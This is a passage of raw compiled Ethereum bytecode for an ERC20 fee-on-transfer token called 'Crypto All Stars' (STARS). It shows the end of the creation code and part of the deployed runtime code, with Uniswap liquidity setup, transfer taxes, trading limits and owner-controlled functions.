ffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061277b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612809565b60405180910390fd5b5f8111611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612897565b60405180910390fd5b5f808290505f839050611176610d68565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156111e457506111b4610d68565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561153857601260149054906101000a900460ff168061124a575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611289576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611280906128ff565b60405180910390fd5b611294868686611828565b80935081945082955050505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611349575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139c575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561145657600c548411156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd90612967565b60405180910390fd5b600d54846113f387610655565b6113fd9190612985565b111561143e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143590612a02565b60405180910390fd5b600b5f81548092919061145090612a20565b91905055505b5f61146030610655565b9050601260159054906101000a900460ff161580156114cb575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80156114e35750601260169054906101000a900460ff165b1561153657600e54811180156114fc5750600a54600b54115b1561151f5761151e6115198661151484600f546119bb565b6119bb565b6119d3565b5b5f4790505f81106115345761153381611c3e565b5b505b505b5f831115611637576115908360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ca690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162e919061209f565b60405180910390a35b6116878260015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d0390919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117188160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ca690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b6919061209f565b60405180910390a3505050505050565b5f83831115829061180d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118049190611f6e565b60405180910390fd5b505f838561181b9190612a67565b9050809150509392505050565b5f805f6118676064611859600854600b54116118465760045461184a565b6006545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b925083915082846118789190612a67565b90506118848587611e0c565b156119b2576118c560646118b7600954600b54116118a4576005546118a8565b6007545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b925060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661191b57836119a1565b6119a0606461199260125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461197f57600654611983565b6007545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b5b915082846119af9190612a67565b90505b93509350939050565b5f8183116119c957826119cb565b815b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a0a57611a09612a9a565b5b604051908082528060200260200182016040528015611a385781602001602082028036833780820191505090505b50905030815f81518110611a4f57611a4e612ac7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611af3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b179190612498565b81600181518110611b2b57611b2a612ac7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b913060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e84565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bf3959493929190612bab565b5f604051808303815f87803b158015611c0a575f80fd5b505af1158015611c1c573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ca2573d5f803e3d5ffd5b5050565b5f808284611cb49190612985565b905083811015611cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf090612c4d565b60405180910390fd5b8091505092915050565b5f611d4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117c6565b905092915050565b5f808303611d5c575f9050611dbd565b5f8284611d699190612373565b9050828482611d789190612c98565b14611db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daf90612d38565b60405180910390fd5b809150505b92915050565b5f611e0483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e9d565b905092915050565b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e9557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f8083118290611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda9190611f6e565b60405180910390fd5b505f8385611ef19190612c98565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f4082611efe565b611f4a8185611f08565b9350611f5a818560208601611f18565b611f6381611f26565b840191505092915050565b5f6020820190508181035f830152611f868184611f36565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fbb82611f92565b9050919050565b611fcb81611fb1565b8114611fd5575f80fd5b50565b5f81359050611fe681611fc2565b92915050565b5f819050919050565b611ffe81611fec565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f806040838503121561203557612034611f8e565b5b5f61204285828601611fd8565b92505060206120538582860161200b565b9150509250929050565b5f8115159050919050565b6120718161205d565b82525050565b5f60208201905061208a5f830184612068565b92915050565b61209981611fec565b82525050565b5f6020820190506120b25f830184612090565b92915050565b5f805f606084860312156120cf576120ce611f8e565b5b5f6120dc86828701611fd8565b93505060206120ed86828701611fd8565b92505060406120fe8682870161200b565b9150509250925092565b5f60ff82169050919050565b61211d81612108565b82525050565b5f6020820190506121365f830184612114565b92915050565b5f6020828403121561215157612150611f8e565b5b5f61215e84828501611fd8565b91505092915050565b61217081611fb1565b82525050565b5f6020820190506121895f830184612167565b92915050565b5f80604083850312156121a5576121a4611f8e565b5b5f6121b285828601611fd8565b92505060206121c385828601611fd8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561224f5780860481111561222b5761222a6121cd565b5b600185161561223a5780820291505b8081029050612248856121fa565b945061220f565b94509492505050565b5f826122675760019050612322565b81612274575f9050612322565b816001811461228a5760028114612294576122c3565b6001915050612322565b60ff8411156122a6576122a56121cd565b5b8360020a9150848211156122bd576122bc6121cd565b5b50612322565b5060208310610133831016604e8410600b84101617156122f85782820a9050838111156122f3576122f26121cd565b5b612322565b6123058484846001612206565b9250905081840481111561231c5761231b6121cd565b5b81810290505b9392505050565b5f61233382611fec565b915061233e83612108565b925061236b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612258565b905092915050565b5f61237d82611fec565b915061238883611fec565b925082820261239681611fec565b915082820484148315176123ad576123ac6121cd565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123e8602083611f08565b91506123f3826123b4565b602082019050919050565b5f6020820190508181035f830152612415816123dc565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612450601783611f08565b915061245b8261241c565b602082019050919050565b5f6020820190508181035f83015261247d81612444565b9050919050565b5f8151905061249281611fc2565b92915050565b5f602082840312156124ad576124ac611f8e565b5b5f6124ba84828501612484565b91505092915050565b5f6040820190506124d65f830185612167565b6124e36020830184612167565b9392505050565b5f819050919050565b5f819050919050565b5f61251661251161250c846124ea565b6124f3565b611fec565b9050919050565b612526816124fc565b82525050565b5f60c08201905061253f5f830189612167565b61254c6020830188612090565b612559604083018761251d565b612566606083018661251d565b6125736080830185612167565b61258060a0830184612090565b979650505050505050565b5f8151905061259981611ff5565b92915050565b5f805f606084860312156125b6576125b5611f8e565b5b5f6125c38682870161258b565b93505060206125d48682870161258b565b92505060406125e58682870161258b565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612649602483611f08565b9150612654826125ef565b604082019050919050565b5f6020820190508181035f8301526126768161263d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126d7602283611f08565b91506126e28261267d565b604082019050919050565b5f6020820190508181035f830152612704816126cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612765602583611f08565b91506127708261270b565b604082019050919050565b5f6020820190508181035f83015261279281612759565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6127f3602383611f08565b91506127fe82612799565b604082019050919050565b5f6020820190508181035f830152612820816127e7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612881602983611f08565b915061288c82612827565b604082019050919050565b5f6020820190508181035f8301526128ae81612875565b9050919050565b7f54726164696e67206973206e6f7420656e61626c6564000000000000000000005f82015250565b5f6128e9601683611f08565b91506128f4826128b5565b602082019050919050565b5f6020820190508181035f830152612916816128dd565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612951601983611f08565b915061295c8261291d565b602082019050919050565b5f6020820190508181035f83015261297e81612945565b9050919050565b5f61298f82611fec565b915061299a83611fec565b92508282019050808211156129b2576129b16121cd565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129ec601a83611f08565b91506129f7826129b8565b602082019050919050565b5f6020820190508181035f830152612a19816129e0565b9050919050565b5f612a2a82611fec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a5c57612a5b6121cd565b5b600182019050919050565b5f612a7182611fec565b9150612a7c83611fec565b9250828203905081811115612a9457612a936121cd565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b2681611fb1565b82525050565b5f612b378383612b1d565b60208301905092915050565b5f602082019050919050565b5f612b5982612af4565b612b638185612afe565b9350612b6e83612b0e565b805f5b83811015612b9e578151612b858882612b2c565b9750612b9083612b43565b925050600181019050612b71565b5085935050505092915050565b5f60a082019050612bbe5f830188612090565b612bcb602083018761251d565b8181036040830152612bdd8186612b4f565b9050612bec6060830185612167565b612bf96080830184612090565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c37601b83611f08565b9150612c4282612c03565b602082019050919050565b5f6020820190508181035f830152612c6481612c2b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ca282611fec565b9150612cad83611fec565b925082612cbd57612cbc612c6b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d22602183611f08565b9150612d2d82612cc8565b604082019050919050565b5f6020820190508181035f830152612d4f81612d16565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204716e43fb1f55d8669bbbf14f6d32d7cf02000c2db824f4875f4f0e109ec0d6a64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063751039fc1161009457806395d89b411161006357806395d89b411461031f578063a9059cbb14610349578063cab0cc2c14610385578063dd62ed3e146103af578063ec710261146103eb57610113565b8063751039fc1461029f578063781ac3d1146102b55780638da5cb5b146102cb57806390019498146102f557610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d578063591f9e041461023757806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b3146101415780630b4778611461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611f6e565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061201f565b610452565b6040516101749190612077565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e919061209f565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c8919061209f565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f291906120b8565b610498565b6040516102049190612077565b60405180910390f35b348015610218575f80fd5b5061022161056c565b60405161022e9190612123565b60405180910390f35b348015610242575f80fd5b5061024b610574565b005b348015610258575f80fd5b50610273600480360381019061026e919061213c565b610655565b604051610280919061209f565b60405180910390f35b348015610294575f80fd5b5061029d61069b565b005b3480156102aa575f80fd5b506102b36107e9565b005b3480156102c0575f80fd5b506102c9610924565b005b3480156102d6575f80fd5b506102df610d68565b6040516102ec9190612176565b60405180910390f35b348015610300575f80fd5b50610309610d8f565b604051610316919061209f565b60405180910390f35b34801561032a575f80fd5b50610333610d95565b6040516103409190611f6e565b60405180910390f35b348015610354575f80fd5b5061036f600480360381019061036a919061201f565b610dd2565b60405161037c9190612077565b60405180910390f35b348015610390575f80fd5b50610399610def565b6040516103a6919061209f565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d0919061218f565b610df5565b6040516103e2919061209f565b60405180910390f35b3480156103f6575f80fd5b506103ff610e77565b60405161040c919061209f565b60405180910390f35b60606040518060400160405280601081526020017f43727970746f20416c6c20537461727300000000000000000000000000000000815250905090565b5f61046561045e610e7d565b8484610e84565b6001905092915050565b600e5481565b5f6012600a6104849190612329565b63191338506104939190612373565b905090565b5f6104a4848484611047565b610561846104b0610e7d565b61055c85604051806060016040528060288152602001612d576028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610513610e7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117c69092919063ffffffff16565b610e84565b600190509392505050565b5f6012905090565b61057c610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610608576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ff906123fe565b60405180910390fd5b610610610d68565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610652573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106a3610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610726906123fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107f1610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610874906123fe565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600d819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161091a919061209f565b60405180910390a1565b61092c610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af906123fe565b60405180910390fd5b601260149054906101000a900460ff1615610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612466565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aa43060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610a909190612329565b6319133850610a9f9190612373565b610e84565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b329190612498565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bdc9190612498565b6040518363ffffffff1660e01b8152600401610bf99291906124c3565b6020604051808303815f875af1158015610c15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c399190612498565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610cc030610655565b5f80610cca610d68565b426040518863ffffffff1660e01b8152600401610cec9695949392919061252c565b60606040518083038185885af1158015610d08573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d2d919061259f565b5050506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600581526020017f5354415253000000000000000000000000000000000000000000000000000000815250905090565b5f610de5610dde610e7d565b8484611047565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee99061265f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f57906126ed565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161103a919061209f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061277b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612809565b60405180910390fd5b5f8111611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612897565b60405180910390fd5b5f808290505f839050611176610d68565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156111e457506111b4610d68565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561153857601260149054906101000a900460ff168061124a575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611289576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611280906128ff565b60405180910390fd5b611294868686611828565b80935081945082955050505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611349575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139c575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561145657600c548411156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd90612967565b60405180910390fd5b600d54846113f387610655565b6113fd9190612985565b111561143e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143590612a02565b60405180910390fd5b600b5f81548092919061145090612a20565b91905055505b5f61146030610655565b9050601260159054906101000a900460ff161580156114cb575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80156114e35750601260169054906101000a900460ff165b1561153657600e54811180156114fc5750600a54600b54115b1561151f5761151e6115198661151484600f546119bb565b6119bb565b6119d3565b5b5f4790505f81106115345761153381611c3e565b5b505b505b5f831115611637576115908360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ca690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162e919061209f565b60405180910390a35b6116878260015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d0390919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117188160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ca690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b6919061209f565b60405180910390a3505050505050565b5f83831115829061180d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118049190611f6e565b60405180910390fd5b505f838561181b9190612a67565b9050809150509392505050565b5f805f6118676064611859600854600b54116118465760045461184a565b6006545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b925083915082846118789190612a67565b90506118848587611e0c565b156119b2576118c560646118b7600954600b54116118a4576005546118a8565b6007545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b925060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661191b57836119a1565b6119a0606461199260125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461197f57600654611983565b6007545b87611d4c90919063ffffffff16565b611dc390919063ffffffff16565b5b915082846119af9190612a67565b90505b93509350939050565b5f8183116119c957826119cb565b815b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a0a57611a09612a9a565b5b604051908082528060200260200182016040528015611a385781602001602082028036833780820191505090505b50905030815f81518110611a4f57611a4e612ac7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611af3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b179190612498565b81600181518110611b2b57611b2a612ac7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b913060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e84565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bf3959493929190612bab565b5f604051808303815f87803b158015611c0a575f80fd5b505af1158015611c1c573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ca2573d5f803e3d5ffd5b5050565b5f808284611cb49190612985565b905083811015611cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf090612c4d565b60405180910390fd5b8091505092915050565b5f611d4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117c6565b905092915050565b5f808303611d5c575f9050611dbd565b5f8284611d699190612373565b9050828482611d789190612c98565b14611db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daf90612d38565b60405180910390fd5b809150505b92915050565b5f611e0483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e9d565b905092915050565b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e9557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f8083118290611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda9190611f6e565b60405180910390fd5b505f8385611ef19190612c98565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f4082611efe565b611f4a8185611f08565b9350611f5a818560208601611f18565b611f6381611f26565b840191505092915050565b5f6020820190508181035f830152611f868184611f36565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fbb82611f92565b9050919050565b611fcb81611fb1565b8114611fd5575f80fd5b50565b5f81359050611fe681611fc2565b92915050565b5f819050919050565b611ffe81611fec565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f806040838503121561203557612034611f8e565b5b5f61204285828601611fd8565b92505060206120538582860161200b565b9150509250929050565b5f8115159050919050565b6120718161205d565b82525050565b5f60208201905061208a5f830184612068565b92915050565b61209981611fec565b82525050565b5f6020820190506120b25f830184612090565b92915050565b5f805f606084860312156120cf576120ce611f8e565b5b5f6120dc86828701611fd8565b93505060206120ed86828701611fd8565b92505060406120fe8682870161200b565b9150509250925092565b5f60ff82169050919050565b61211d81612108565b82525050565b5f6020820190506121365f830184612114565b92915050565b5f6020828403121561215157612150611f8e565b5b5f61215e84828501611fd8565b91505092915050565b61217081611fb1565b82525050565b5f6020820190506121895f830184612167565b9291505056